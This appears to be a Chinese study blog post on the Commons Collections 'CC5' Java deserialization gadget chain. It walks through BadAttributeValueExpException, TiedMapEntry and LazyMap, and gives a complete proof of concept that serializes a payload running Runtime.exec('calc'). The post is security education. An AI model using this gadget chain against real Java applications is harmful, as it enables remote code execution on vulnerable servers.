前言
早在cc6的学习中,为了重新寻找另⼀条调⽤链来调⽤LazyMap.get⽅法,我们找到了 org.apache.commons.collections.keyvalue.TiedMapEntry类,它的getValue⽅法可以调⽤map.get⽅法。
那时候其实我们发现有3个调用getValue的方法,那时候用的hashcode,这次用的toString而已
前置知识
我们需要一个类来触发toString函数,于是找到了javax.management.BadAttributeValueExpException
这个类
1 2
| public class BadAttributeValueExpException extends Exception
|
这个类,反序列化读取 val,当 System.getSecurityManager() == null
或 valObj 是除了 String 的其他基础类型时会调用 valObj 的 toString()
方法,完成上面 TiedMapEntry 的构造。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null);
if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
|
默认情况下System.getSecurityManager()为null
只需要控制valObj为TiedMapEntry对象即可利⽤这条调⽤链 valObj通过ObjectInputStream.readFields().get()获取
来看看构造方法
1 2 3 4
| public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); } private Object val;
|
为了一开始不触发toString方法我们可以用反射来设置这个值,也可以在transform哪里改了
攻击构造
使用上述新扩展的触发点,配合 LazyMap 就可以完成一条新的攻击路径。由于 ysoserial 使用了 ChainedTransformer + InvokerTransformer 的方式,我这里就使用这种方法啦,当然还可以使用
InvokerTransformer + TemplatesImpl / TrAXFilter + InstantiateTransformer + TemplatesImpl 的方式触发
所以直接造poc了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CC5 { public static void main(String[] args) throws Exception{ HashMap hashMap = new HashMap(); ChainedTransformer transformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }); Map map = LazyMap.decorate(hashMap,transformer); TiedMapEntry entry = new TiedMapEntry(map,"baicany"); BadAttributeValueExpException bad =new BadAttributeValueExpException((null)); Field f = bad.getClass().getDeclaredField("val"); f.setAccessible(true); f.set(bad,entry); try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc5.txt")); outputStream.writeObject(bad); outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc5.txt")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); } } }
|
利用链
1 2 3 4 5 6 7
| BadAttributeValueExpException.readObject-> TiedMapEntry.toString-> TiedMapEntry.getValue-> LazyMap.get()-> transformer()-> .... exec()
|
利用链也挺简单的,就缩写了
依赖版本
commons-collections : 3.1~3.2.1jdk 8u76 without a security manager